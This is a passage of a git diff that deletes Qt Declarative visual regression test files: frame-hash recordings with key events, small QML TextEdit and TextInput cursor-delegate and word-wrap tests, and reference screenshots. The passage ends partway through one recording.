Frame { - msec: 4560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 4624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 4688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4720 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 4752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 4800 - image: "wrap.4.png" - } - Frame { - msec: 4816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 4832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4880 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 46 - modifiers: 0 - text: "2e" - autorep: false - count: 1 - } - Frame { - msec: 4896 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4912 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4928 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4944 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 46 - modifiers: 0 - text: "2e" - autorep: false - count: 1 - } - Frame { - msec: 4960 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5072 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5088 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5104 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5120 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5136 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5152 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5168 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5184 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5200 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5216 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5232 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5248 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5264 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5280 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5296 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5312 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5328 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5344 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5360 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5376 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5392 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5408 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5424 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5440 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5456 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5472 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5488 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5504 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5520 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5536 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5552 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5568 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5584 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5600 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5616 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5632 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5648 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5664 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5680 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5696 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5712 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5728 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5744 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5760 - image: "wrap.5.png" - } - Frame { - msec: 5776 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5792 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5808 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5824 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5840 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5856 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5872 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5888 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5904 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5920 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5936 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5952 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5968 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6064 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6080 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6096 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6400 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6720 - image: "wrap.6.png" - } - Frame { - msec: 6736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6800 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/qt-669.qml b/tests/auto/declarative/visual/qdeclarativetextedit/qt-669.qml deleted file mode 100644 index b01ddf8..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/qt-669.qml +++ /dev/null @@ -1,19 +0,0 @@ -import Qt 4.6 - -Rectangle { - Component { id: testableCursor - //Doesn't blink - Rectangle { - color:"black" - width:1 - } - } - color: "green" - width:400; - height:40; - TextEdit { - focus: true; - cursorDelegate: testableCursor - text: "Jackdaws love my big sphinx of Quartz" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/wrap.qml b/tests/auto/declarative/visual/qdeclarativetextedit/wrap.qml deleted file mode 100644 index f9fe025..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/wrap.qml +++ /dev/null @@ -1,21 +0,0 @@ -import Qt 4.6 - -Item { - height:400 - width: 200 - TextEdit { - width: 200 - height: 200 - wrap: true - focus: true - } - //With QTBUG-6273 only the bottom one would be wrapped - TextEdit { - width: 200 - height: 200 - wrap: true - text: "This is a test that text edit wraps correctly." - y:200 - } - -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml deleted file mode 100644 index 09f16ab..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml +++ /dev/null @@ -1,35 +0,0 @@ -import Qt 4.6 - Rectangle { - resources: [ - Component { id: cursorA - Item { id: cPage; - Behavior on x { NumberAnimation { } } - Behavior on y { NumberAnimation { } } - Behavior on height { NumberAnimation { duration: 200 } } - Rectangle { id: cRectangle; color: "black"; y: 1; width: 1; height: parent.height-2; - Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} - Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} - opacity: 1 - SequentialAnimation on opacity { running: cPage.parent.focus == true; loops: Animation.Infinite; - NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} - NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} - } - } - width: 1; - } - } - ] - width: 400 - height: 200 - color: "white" - TextInput { id: mainText - text: "Hello World" - cursorDelegate: cursorA - focus: true - font.pixelSize: 28 - selectionColor: "lightsteelblue" - selectedTextColor: "deeppink" - color: "forestgreen" - anchors.centerIn: parent - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png deleted file mode 100644 index 9d0bab2..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png deleted file mode 100644 index db66ff7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png deleted file mode 100644 index cbcca68..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png deleted file mode 100644 index c22196b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png deleted file mode 100644 index a1d051e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png deleted file mode 100644 index 9289dc0..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png deleted file mode 100644 index 7331f89..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png deleted file mode 100644 index 968bdd2..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png deleted file mode 100644 index 9a3436a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.qml deleted file mode 100644 index 3b664b6..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.qml +++ /dev/null @@ -1,3379 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 32 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 48 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 64 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 80 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 96 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 112 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 128 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 144 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 160 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 176 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 192 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 208 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 224 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 240 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 256 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 272 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 288 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 304 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 320 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 336 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 352 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 368 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 384 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 400 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 416 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 432 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 448 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 464 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 480 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 496 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Frame { - msec: 512 - hash: "701d8c0f72330c0b72df071bd17749e6" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 528 - hash: "438be260f19d04c9f98ed7dce1c7db40" - } - Frame { - msec: 544 - hash: "6032aada2c48092000ecb93e52656414" - } - Frame { - msec: 560 - hash: "d23bdd94019477d8378cde580d8765ad" - } - Frame { - msec: 576 - hash: "d74f8e44d47710714d4197809fffb622" - } - Frame { - msec: 592 - hash: "4fbbb8447d80012bc6b5c24ddbfe498e" - } - Frame { - msec: 608 - hash: "4e875ba8703b690a17e445f2b3810435" - } - Frame { - msec: 624 - hash: "e4d7a59716cd704fe1cfa8ba91454e93" - } - Frame { - msec: 640 - hash: "a2ea272b45d8de225826d9381015ff2e" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 656 - hash: "5d112a3675ea4c010e7bc60e036d0262" - } - Frame { - msec: 672 - hash: "788d8962f311adf57a3acc876b0e8804" - } - Frame { - msec: 688 - hash: "827fdd6a3d1006f4a9dd2faf208ea436" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 704 - hash: "91b2695e4915238ae8610a64e279b0f4" - } - Frame { - msec: 720 - hash: "a97d90765f87b998eae6e9f603c61bff" - } - Frame { - msec: 736 - hash: "48969edab07b942480d93ac2d383ca24" - } - Frame { - msec: 752 - hash: "ecfd9d6d5873001f0c67806544a14983" - } - Frame { - msec: 768 - hash: "a3a3bc1e2523d3e7f961893bcd1dd3a8" - } - Frame { - msec: 784 - hash: "e337735ad0b42e60c54f16f3da7af3cf" - } - Frame { - msec: 800 - hash: "c39db081130d269f25dbcb1a19afb8d0" - } - Frame { - msec: 816 - hash: "c464d501e3935ec0f53eb780bd1a8289" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 832 - hash: "9dc01a69f2a6892d3c4203674c8bef72" - } - Frame { - msec: 848 - hash: "d94054222fd37a350bd8abd592a332e3" - } - Frame { - msec: 864 - hash: "46fed264c233490b477e3a7c22183e18" - } - Frame { - msec: 880 - hash: "34bc703c915b49b0450ece1d18306df8" - } - Frame { - msec: 896 - hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" - } - Frame { - msec: 912 - hash: "4f6dbc7b249c37390518cc263832b587" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 928 - hash: "df09fa2fd138d1b480eec82db3872d6f" - } - Frame { - msec: 944 - hash: "b74cb1bfbb979a5e91853d9145d277d8" - } - Frame { - msec: 960 - image: "cursorDelegate.0.png" - } - Frame { - msec: 976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 16777248 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Key { - type: 6 - key: 16777249 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1072 - hash: "35425ae3ccf3c8dcc1483479c57a3287" - } - Frame { - msec: 1088 - hash: "b74cb1bfbb979a5e91853d9145d277d8" - } - Frame { - msec: 1104 - hash: "df09fa2fd138d1b480eec82db3872d6f" - } - Frame { - msec: 1120 - hash: "4f6dbc7b249c37390518cc263832b587" - } - Frame { - msec: 1136 - hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" - } - Frame { - msec: 1152 - hash: "34bc703c915b49b0450ece1d18306df8" - } - Frame { - msec: 1168 - hash: "46fed264c233490b477e3a7c22183e18" - } - Frame { - msec: 1184 - hash: "d94054222fd37a350bd8abd592a332e3" - } - Frame { - msec: 1200 - hash: "9dc01a69f2a6892d3c4203674c8bef72" - } - Frame { - msec: 1216 - hash: "76fb2e1ad33affe33c0887f04caa7396" - } - Frame { - msec: 1232 - hash: "0f500339c81ca3621d13910017b84b7b" - } - Frame { - msec: 1248 - hash: "702864de569e6a5648ee174d5ef891f8" - } - Frame { - msec: 1264 - hash: "01e937e1fcc0331b2541fa32c3479a24" - } - Frame { - msec: 1280 - hash: "ee661e6cc1f86e755ff399adb6b11fd1" - } - Frame { - msec: 1296 - hash: "ea2d610e9b41e72b2984a51f0d3f7587" - } - Frame { - msec: 1312 - hash: "4a646d76b706698a02cead560b1f8d57" - } - Frame { - msec: 1328 - hash: "48ec87bfc25471f6fa2d43f9db80b693" - } - Key { - type: 6 - key: 16777234 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1344 - hash: "12b5e016bad990d1f2bf427ee8e3e6d9" - } - Frame { - msec: 1360 - hash: "66a2ba3f9e005cd58aa50cfa0000cd15" - } - Frame { - msec: 1376 - hash: "a2e9e42e09dadbd0791f52bb96e0e0dc" - } - Frame { - msec: 1392 - hash: "ac68396566ea85a157e944e601dd8d18" - } - Frame { - msec: 1408 - hash: "b9bfdebec8dd1a93de7ef2768b2542ba" - } - Frame { - msec: 1424 - hash: "2e0a4b960803770acb34ef56ccf2be35" - } - Key { - type: 7 - key: 16777234 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1440 - hash: "df1643f0f8b7aa2dc080958822aeb3d0" - } - Frame { - msec: 1456 - hash: "15bb91195adfaf83e88fd93e41ff3e17" - } - Frame { - msec: 1472 - hash: "dc0476c27bd7eef3a59637df9a3fecd8" - } - Frame { - msec: 1488 - hash: "a271f69e9dc6d1e0362c3e10760895df" - } - Frame { - msec: 1504 - hash: "7fe66bcc6bada354b4dd7baf8c977740" - } - Frame { - msec: 1520 - hash: "6b502dbd5ac8ff010df326cb9b593dce" - } - Frame { - msec: 1536 - hash: "a9dd21649a95a6a6e8daea91bc6e2a5f" - } - Frame { - msec: 1552 - hash: "374686590eaa02b7b436caa40cc0b0a0" - } - Frame { - msec: 1568 - hash: "09ac3c5d413b1f650407eaa971aade81" - } - Frame { - msec: 1584 - hash: "39f84e04f1ae58600591c0de40558d2c" - } - Frame { - msec: 1600 - hash: "0336ea1799835af2185c361e221a9661" - } - Frame { - msec: 1616 - hash: "8c7ab13e499d7f31107cf0f899334259" - } - Frame { - msec: 1632 - hash: "bad5899324e52c9e6eadb72f3e7c2150" - } - Frame { - msec: 1648 - hash: "4b78f451ecb22cfbed9f5998d61018eb" - } - Key { - type: 6 - key: 16777236 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1664 - hash: "6c913bc712eee18947a43dd1c0a6516b" - } - Frame { - msec: 1680 - hash: "4e566abf1e0696e72b2a4beab5a53d6e" - } - Frame { - msec: 1696 - hash: "6ad579c289c63a6b90a1517765fc041e" - } - Frame { - msec: 1712 - hash: "cef43f349cf221a1aa6e6e70f1fa6339" - } - Key { - type: 7 - key: 16777236 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1728 - hash: "d89f7e3e2510fcb34786584747633673" - } - Frame { - msec: 1744 - hash: "eb23a3eac684808f73034f4e4ef8984d" - } - Frame { - msec: 1760 - hash: "6f2c1f61e58940d9cc1a70c0db903446" - } - Frame { - msec: 1776 - hash: "f036a5ecda518be198f3bdf2dbc5baab" - } - Frame { - msec: 1792 - hash: "7411784774fdc3b324644395f7beb013" - } - Frame { - msec: 1808 - hash: "abfdd1f8440998af2ff7903f49f1bd7c" - } - Frame { - msec: 1824 - hash: 